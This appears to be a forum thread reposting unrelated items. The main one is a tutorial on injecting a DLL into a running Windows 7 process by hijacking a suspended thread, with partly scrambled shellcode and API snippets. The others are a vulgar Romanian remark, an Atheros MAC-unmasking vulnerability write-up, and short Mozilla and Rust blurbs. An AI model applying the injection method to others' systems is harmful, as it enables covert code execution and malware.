CreateRemoteThread. Bypass Windows 7 Session Separation Internet is full of programmers' forums and those forums are full with questions about CreateRemoteThread Windows API function not working on Windows 7 (when trying to inject a DLL). Those posts made by lucky people, somehow, redirect you to the MSDN page dedicated to this API, which says: "Terminal Services isolates each terminal session by design. Therefore, CreateRemoteThread fails if the target process is in a different session than the calling process." and, basically, means - start the process from your injector as suspended, inject your DLL and then resume the process' main thread. This works... Most of the time... But sometimes you really need to inject your code into a running process. Isn't there a way to do that? Well, there is. As a matter of fact, it is so easy, that I decided not to attach my source code to this article (mainly, because I am too lazy to make it look readable ). It appears to be that I am not the only one lazy here , so I have uploaded the source code. Let me start as usual, with a note for nerds in order to avoid meaningless comments and stupid discussions. The code provided within the article is for example purposes only. Error checks have been omitted on purpose. Yes, there may be another, probably even better, way of doing this. No, manual DLL mapping is not better unless you have plenty of time and nothing to do with it. All others, let's get to business Opening the Victim Process This is the easiest part. At this stage you will see whether you are able to inject your code or not (in case of a system process, for example). Nothing unusual here - you simply invoke the good old OpenProcess API [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] dwDesiredAccess, [I][COLOR=purple]/* in our case PROCESS_ALL_ACCESS */[/COLOR][/I][/FONT] [FONT=Courier New] [B][COLOR=blue]BOOL[/COLOR][/B] bInheritHandle, [I][COLOR=purple]/* no need, so FALSE */[/COLOR][/I][/FONT] [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] dwProcessId [I][COLOR=purple]/* self explanatory enough */[/COLOR][/I][/FONT] [FONT=Courier New]);[/FONT][FONT=Courier New][B][COLOR=blue]HANDLE[/COLOR][/B] [B]WINAPI[/B] OpenProcess([/FONT] which opens the process specified by dwProcessId and returns a handle to that process, unless, you have no sufficient rights to access that process. Reading the Shellcode What you usually see in the examples of shellcode over the internet, is an unsigned char array of hexadecimal values somewhere in the C code. Helps to keep the amount of files smaller, but is not really comfortable to deal with. I decided to store the shellcode in a separate binary file, produced with FASM (Flat Assembler): [FONT=Courier New] [I][COLOR=purple]; offset of the LoadLibraryA address within the shellcode[/COLOR][/I][/FONT] [FONT=Courier New] dd [B]func[/B][/FONT] [FONT=Courier New] [I][COLOR=purple]; save all registers[/COLOR][/I][/FONT] [FONT=Courier New] push [COLOR=blue]eax ebx ecx edx ebp edi esi[/COLOR][/FONT] [FONT=Courier New] [COLOR=purple]; get your EIP[/COLOR][/FONT] [FONT=Courier New] call [B]next[/B][/FONT] [FONT=Courier New][B]next[/B]:[/FONT] [FONT=Courier New] pop [COLOR=blue]eax[/COLOR][/FONT] [FONT=Courier New] mov [COLOR=blue]ebx[/COLOR], [COLOR=blue]eax[/COLOR][/FONT] [FONT=Courier New] [COLOR=purple][I]; get the address of the DLL name[/I][/COLOR][/FONT] [FONT=Courier New] mov [COLOR=blue]eax[/COLOR], [B]string[/B] - [B]next[/B][/FONT] [FONT=Courier New] [I][COLOR=purple]; do this to avoid possible negative values (due to sign extend)[/COLOR][/I][/FONT] [FONT=Courier New] movzx [COLOR=blue]eax[/COLOR], [COLOR=blue]al[/COLOR][/FONT] [FONT=Courier New] add [COLOR=blue]eax[/COLOR], [COLOR=blue]ebx[/COLOR][/FONT] [FONT=Courier New] [I][COLOR=purple]; pass it to the LoadLibraryA API[/COLOR][/I][/FONT] [FONT=Courier New] push [COLOR=blue]eax[/COLOR][/FONT] [FONT=Courier New] [COLOR=purple][I]; get the address of the LoadLibraryA function[/I][/COLOR][/FONT] [FONT=Courier New] mov [COLOR=blue]eax[/COLOR], [B]func[/B] - [B]next[/B][/FONT] [FONT=Courier New] movzx [COLOR=blue]eax[/COLOR], [COLOR=blue]al[/COLOR][/FONT] [FONT=Courier New] add [COLOR=blue]eax[/COLOR], [COLOR=blue]ebx[/COLOR][/FONT] [FONT=Courier New] mov [COLOR=blue]eax[/COLOR], [[COLOR=blue]eax[/COLOR]][/FONT] [FONT=Courier New] [I][COLOR=purple]; call LoadLibraryA[/COLOR][/I][/FONT] [FONT=Courier New] call [COLOR=blue]eax[/COLOR][/FONT] [FONT=Courier New] [I][COLOR=purple]; restore registers[/COLOR][/I][/FONT] [FONT=Courier New] pop [COLOR=blue]esi edi ebp edx ecx ebx eax[/COLOR][/FONT] [COLOR=purple][FONT=Courier New][I] ; return[/I][/FONT][/COLOR] [FONT=Courier New] ret[/FONT] [FONT=Courier New][B]func[/B] dd 0x12345678 [COLOR=purple][I]; placeholder for the address[/I][/COLOR][/FONT] [FONT=Courier New][B]string[/B]:[/FONT][FONT=Courier New][B]use32[/B][/FONT] Compiling this code with FASM.EXE will produce a raw binary file, where all offsets are 0 - based. There are some parts in the code above, that may require some additional explanation (for example, why does it not end with ExitThread()). I am aware of this and I will provide you with the explanation a little bit later. For now, allocate an unsigned char buffer for your shellcode. Make this buffer large enough to contain the shellcode and the name of the DLL (my assumption is, that you passed that name as a command line parameter to your injector). with it's terminating zero. Once you have read the shellcode into that buffer - append the name of the DLL (which may be a full path to the DLL) to the end of the shellcode with, for example, memcpy() function. Half done with it. Now we still have to "tell" the shellcode where the LoadLibraryA API function is located in memory. Fortunately, the load address randomization in Windows is far from being perfect (addresses of loaded modules may vary between subsequent reboots, but are the same for all processes). This means that, just as in usual DLL injection, we obtain the address of this API in our process by calling good old GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA") and save it to the "func" variable of the shellcode. Due to the fact that our shellcode may vary in size from time to time (that depends on the needs), we saved the offset to that variable in the first four bytes of the shellcode, which eliminates the need to hardcode the offset. Simply do the following: [FONT=Courier New]*([B][COLOR=blue]unsigned int[/COLOR][/B]*)(shellcode_ptr + *([B][COLOR=blue]int[/COLOR][/B]*)(shellcode_ptr)) = ([COLOR=blue][B]unsigned int[/B][/COLOR])LoadLibraryA_address;[/FONT] Our shellcode is ready now. "Create remote thread" without CreateRemoteThread() As the title of this paragraph suggests - we are not going to use the CreateRemoteThread(). In fact, we are not going to create any thread in the victim process (well, the injected DLL may, but the shellcode won't). Code Injection Surely, we need to move our shellcode into the victim process' address space in order to load or library. We are doing it in the same manner, as we would copy the name of the DLL in regular DLL injection procedure: Allocate memory in the remote process with LPVOID WINAPI VirtualAllocEx( HANDLE hProcess, /* the handle we obtained with OpenProcess */ LPVOID lpAddress, /* preferred address; may be NULL */ SIZE_T dwSize, /* size of the allocation in bytes */ DWORD flAllocationType, /* MEM_COMMIT */ DWORD flProtect /* PAGE_EXECUTE_READWRITE */ ); This function returns the address of the allocation in the address space of the victim process or NULL if it fails. Copy the shellcode into the buffer we've just allocated in the address space of the victim process: BOOL WINAPI WriteProcessMemory( HANDLE hProcess, /* same handle as above */ LPVOID lpBaseAddress, /* address of the allocation */ LPCVOID lpBuffer, /* address of the local buffer with the shellcode */ SIZE_T nSize, /* size of the shellcode together with the appended NULL-terminated string */ SIZE_T *lpNumberOfBytesWritten /* if this is zero - check your code */ ); If the return value of this function is non zero - we have successfully copied our shellcode into the victim process' address space. It may also be a good idea to check the value returned in the lpNumberOfBytesWritten. Make It Run So, we have copied our shell code. The only thing left, is to make it run, but we cannot use the CreateRemoteThread() API... Solution is a bit more complicated. First of all, we have to suspend all threads of the victim process. In general, suspending only one thread is enough, but, as we cannot know for sure what is going on there, we should suspend them all. There is no specific API that would provide us with the list of threads for a specified process, instead, we have to create a snapshot with CreateToolhelp32Snapshot, which provides us with the list of all currently running threads of all processes running in the system: [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] dwFlags, [I][COLOR=purple]/* TH32CS_SNAPTHREAD = 0x00000004 */[/COLOR][/I][/FONT] [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] th32ProcessID [COLOR=purple][I]/* in this case may be 0 */[/I][/COLOR][/FONT] [FONT=Courier New]);[/FONT][/I][/B][/B][/B][FONT=Courier New][COLOR=blue][/COLOR][/FONT][I][FONT=Courier New][COLOR=blue][/COLOR][/FONT][/I][B][B][B][I][FONT=Courier New][B][COLOR=blue]HANDLE[/COLOR][/B] [B]WINAPI[/B] CreateToolhelp32Snapshot([/FONT] This function returns the handle to the snapshot, which contains information on all present threads. Once we have this, we "iterate through the list" with Thread32First and Thread32Next API functions: [FONT=Courier New] [B][COLOR=blue]HANDLE[/COLOR][/B] hSnapshot, [I][COLOR=purple]/* the handle to the snapshot */[/COLOR][/I][/FONT] [FONT=Courier New] [B][COLOR=blue]LPTHREADENTRY32[/COLOR][/B] lpte [COLOR=purple][I]/* pointer to the THREADENTRY32 structure */[/I][/COLOR][/FONT] [FONT=Courier New]);[/FONT][/I][/B][/B][/B][I][FONT=Courier New][/FONT][/I][FONT=Courier New][/FONT][FONT=Courier New][COLOR=blue][/COLOR][/FONT][I][FONT=Courier New][COLOR=blue][/COLOR][/FONT][/I][B][B][B][I][FONT=Courier New][B][COLOR=blue]BOOL[/COLOR][/B] [B]WINAPI[/B] Thread32First([/FONT] The Thread32Next has the same prototype as Thread32First. [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] dwSize; [I][COLOR=purple]/* size of this struct; you have to initialize this field before use */[/COLOR][/I][/FONT] [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] cntUsage; [/FONT] [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] th32ThreadID; [I][COLOR=purple]/* use this value to open thread for suspension */[/COLOR][/I][/FONT] [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] th32OwnerProcessID; [COLOR=purple][I]/* compare this value against the PID of the victim [/I][/COLOR][/FONT] [FONT=Courier New][COLOR=purple][I] to filter out threads of other processes */[/I][/COLOR][/FONT] [FONT=Courier New] [B][COLOR=blue]LONG[/COLOR][/B] tpBasePri;[/FONT] [FONT=Courier New] [B][COLOR=blue]LONG[/COLOR][/B] tpDeltaPri;[/FONT] [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] dwFlags;[/FONT] [FONT=Courier New]} [B][COLOR=blue]THREADENTRY32[/COLOR][/B], [B][COLOR=blue]*PTHREADENTRY32[/COLOR][/B];[/FONT][/I][/B][/B][/B][B][B][B][I][FONT=Courier New][COLOR=blue]typedef[/COLOR] [COLOR=blue]struct[/COLOR] [B]tagTHREADENTRY32[/B]{[/FONT] For each THREADENTRY32 with matching th32OwnerProcessID, open it with OpenThread() and suspend with SuspendThread: [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] dwDesiredAccess, [I][COLOR=purple]/* THREAD_ALL_ACCESS */[/COLOR][/I][/FONT] [FONT=Courier New] [B][COLOR=blue]BOOL[/COLOR][/B] bInheritHandle, [I][COLOR=purple]/* FALSE */[/COLOR][/I][/FONT] [FONT=Courier New] [B][COLOR=blue]DWORD[/COLOR][/B] dwThreadId [COLOR=purple][I]/* th32ThreadID field of THREADENTRY32 structure */[/I][/COLOR][/FONT] [FONT=Courier New]);[/FONT][/I][/B][/B][/B][FONT=Courier New][COLOR=blue][/COLOR][/FONT][I][FONT=Courier New][COLOR=blue][/COLOR][/FONT][/I][B][B][B][I][FONT=Courier New][B][COLOR=blue]HANDLE[/COLOR][/B] [B]WINAPI[/B] OpenThread([/FONT] and [FONT=Courier New] [B][COLOR=blue]HANDLE[/COLOR][/B] hThread, [COLOR=purple][I]/* Obtained by OpenThread() */[/I][/COLOR][/FONT] [FONT=Courier New]);[/FONT][/I][/B][/B][/B][B][B][B][I][FONT=Courier New][B][COLOR=blue]DWORD[/COLOR][/B] [B]WINAPI[/B] SuspendThread([/FONT] Don't forget to CloseHandle(openedThread) Take the first thread, once it is opened (actually, you can do that with any thread that belongs to the victim process) and suspended, and get its CONTEXT (see "Community Additions" here) using the GetThreadContext API: [FONT=Courier New] [B][COLOR=blue]HANDLE[/COLOR][/B] hThread, [I][COLOR=purple]/* handle to the thread */[/COLOR][/I][/FONT] [FONT=Courier New] [B][COLOR=blue]LPCONTEXT[/COLOR][/B] lpContext [I][COLOR=purple]/* pointer to the CONTEXT structure */[/COLOR][/I][/FONT] [FONT=Courier New]);[/FONT][/I][/B][/B][/B][B][B][B][I][FONT=Courier New][B][COLOR=blue]BOOL[/COLOR][/B] [B]WINAPI[/B] GetThreadContext([/FONT] Now, when all the threads of the victim process are suspended, we are may do our job. The idea is to redirect the execution flow of this thread to our shellcode, but make it in such a way, that the shellcode would return to where the suspended thread currently is. This is not a problem at all, as we have the CONTEXT of the thread. The following code does that just fine: [COLOR=purple][FONT=Courier New][I]/* "push" current EIP of the thread onto its stack, so that the ret instruction in the shellcode returns the execution flow to this address (which is somewhere in WaitForSingleObject for suspended threads) */[/I][/FONT][/COLOR] [FONT=Courier New]ctx.Esp -= [COLOR=blue]sizeof[/COLOR]([COLOR=blue][B]unsigned int[/B][/COLOR]);[/FONT] [FONT=Courier New]WriteProcessMemory(victimProcessHandle, [/FONT] [FONT=Courier New] ([B][COLOR=blue]LPVOID[/COLOR][/B])ctx.Esp, [/FONT] [FONT=Courier New] ([COLOR=blue][B]LPCVOID[/B][/COLOR])&ctx.Eip,[/FONT] [FONT=Courier New] [COLOR=blue]sizeof[/COLOR]([COLOR=blue][B]unsigned int[/B][/COLOR]),[/FONT] [FONT=Courier New] &bytesWritten);[/FONT] [COLOR=purple][FONT=Courier New][I]/* Set the EIP to our injected shellcode; do not forget to skip the first four bytes */[/I][/FONT][/COLOR] [FONT=Courier New]ctx.Eip = remoteAddress + [COLOR=blue]sizeof[/COLOR]([COLOR=blue][B]unsigned int[/B][/COLOR]);[/FONT] [FONT=Courier New] [/FONT][/I][/B][/B][/B][B][B][B][I] Almost there. All we have to do now, is resume the previously suspended threads in the same manner (iterating with Thread32First and Thread32Next with the same snapshot handle). Don't forget to close the victim process' handle with CloseHandle() Shellcode After all this, the execution flow in the selected thread of the victim process reaches our shellcode, which source code should be pretty clear now. It simply calls the LoadLibraryA() API function with the name/path of the DLL we want to inject. One important note - it is a bad practice to do anything "serious" inside the DllMain() function. My suggestion is - create a new thread in DllMain() and do all the job there, so that it may return safely. Hope this article was helpful. Have fun injecting and see you at the next. Posted by Alexey Lyashko at 4:36 AM Sursa: System Programming: CreateRemoteThread. Bypass Windows 7 Session Separation

Se duc pe pula si rusii...

What can I do for Mozilla? http://www.whatcanidoformozilla.org/

Unmasking a Spoofed MAC Address Certain Atheros wireless drivers do not properly update the MAC address when changed (spoofed) by a user. This allows an active attacker to retrieve the original MAC address. In short, spoofing your MAC address does not always hide the original MAC address. Background While working on the ath9k_htc driver (used by Atheros USB WiFi dongles) I noticed the driver did not properly set a spoofed MAC address. Though the device appears to use the newly assigned MAC address correctly, the flaw allows an attacker capable of injecting packets towards the target to uncover the original MAC address. The cause of the problem lies in how the driver and hardware implement Multiple Virtual Interface (VIF) support. Using this technology a single wireless chip can listen on multiple MAC addresses. Because sending an acknowledgement to correctly received packets is done in hardware, a question that arises is how the wireless chip can quickly determine whether a wireless packet was destined for it. At first you'd think there must be some method to give the hardware a (possibly fixed length) list of MAC addresses to listen on. However, some devices uses a different strategy (and in particular Atheros devices uses this method). Their strategy is the following: the wireless chip has a register which contains the "main" hardware MAC address (mainmac), and a register containing a mask (macmask). Given an incoming frame destined for a particular mac (incmac), it sends an ACK and accepts the frame if and only if: (mainmac & macmask) == (incmac & macmask). You can see that macmask determines which bits of incmask (MAC of the packet being received) have to match those of mainmac. Essentially the macmask represents the locations where the bits of all the virtual MAC addresses are identical to the "main" hardware MAC address (mainmac). To clarify, consider a device having two virtual interfaces, one with MAC address 72:40:a2:3f:65:5a and another one with address 8e:8e:95:cd:90:4e. In binary these MAC addresses are: 01110010 : 01000000 : 10100010 : 00111111 : 01100101 : 01011010 (72:40:a2:3f:65:5a) 10001110 : 10001110 : 10010101 : 11001101 : 10010000 : 01001110 (8e:8e:95:cd:90:4e) Now, macmask should consist of the bits where both these MAC addresses are the same (mathematically that's the negation of the XOR). In our example the mask would be: 00000011 : 00110001 : 11001000 : 00001101 : 00001010 : 11101011 (03:31:c8:0d:0a:eb) So the wireless chip can pick either 72:40:a2:3f:65:5a or 8e:8e:95:cd:90:4e as its main MAC address, and then set the mask to 03:31:c8:0d:0a:eb. Frames sent to either of these MAC addresses will now be accepted and acknowledged. For more details see the comments in the atheros driver source file. Unfortunately this technique has the side effect that the wireless chipset now listens on more MAC addresses then we really want, as not all bits of incoming frames are checked! Vulnerability Details When a MAC address is spoofed the driver does not simply update the mainmac register. Instead the mainmac register will still contain the original MAC address, and macmask will contain the bits where the original and spoofed MAC agree (see previous section). The wireless chip will acknowledge frames sent to the spoofed MAC addresses, and the operating system will include the spoofed MAC address in all packets, so everything will seem to work properly. Unfortunately this method allows an attacker to uncover the original MAC address bit by bit (given the spoofed MAC address). Specifically we can determine the value of any bit of the original MAC address as follows: Flip the bit in the spoofed MAC address and send a packet to the modified MAC address. We now have two cases: The device replies with an ACK: This means the mask for this bit is zero, thus the bit in the spoofed MAC address was different than the original MAC address. Device doesn't reply: This means the mask for this bit is one, so the bit we are guessing was identical to the bit in the spoofed MAC By doing this for each bit, we eventually learn the complete original MAC address. The vulnerability has been successfully exploited against AR7010 and AR9271 chipsets (which use the ath9k_htc driver) under following operating systems: Debian 7.2.0 amd64 and i386 Kali 1.0.5 amd64 and i386 Ubuntu 13.10 amd64 and i386 The ath5k, ath9k, and ath10k drivers might also be vulnerable, unfortunately I cannot perform tests against these drivers because I do not have the appropriate hardware. Other drivers also capable of creating multiple virtual interfaces with different MAC addresses, on a single device, might also be susceptible to the same vulnerability (so feel free test your device and post results). Exploit A proof of concept has been implemented in python using scapy. Given a MAC address that you suspect to be spoofed the tool will attempt to uncover the original MAC address. In case the tool returns the same MAC address as you entered, it means the target is not susceptible to the attack, or that the target is using the default MAC address of the device. Patch We are not yet aware of an official patch (the ath9k-devel mailing list has been notified of this issue). Final Remarks Though spoofing a MAC address can be done securely by simply updating mainmac, an attacker can use the same technique to learn that two virtual MAC addresses actually belong to the same user. So if you put up several virtual interfaces (possibly with random MAC addresses) they can be easily linked back together (again, that's if your device uses a method similar to the one described above). This flaw is inherent to usage of macmask and, at first sight, seems difficult to fix. Geplaatst door Mathy op 16:24 Sursa: Mathy Vanhoef: Unmasking a Spoofed MAC Address

[h=1]Rust a safe, concurrent, practical language[/h] Rust is a curly-brace, block-structured expression language. It visually resembles the C language family, but differs significantly in syntactic and semantic details. Its design is oriented toward concerns of “programming in the large”, that is, of creating and maintaining boundaries – both abstract and operational – that preserve large-system integrity, availability and concurrency. It supports a mixture of imperative procedural, concurrent actor, object-oriented and pure functional styles. Rust also supports generic programming and metaprogramming, in both static and dynamic styles. http://www.rust-lang.org/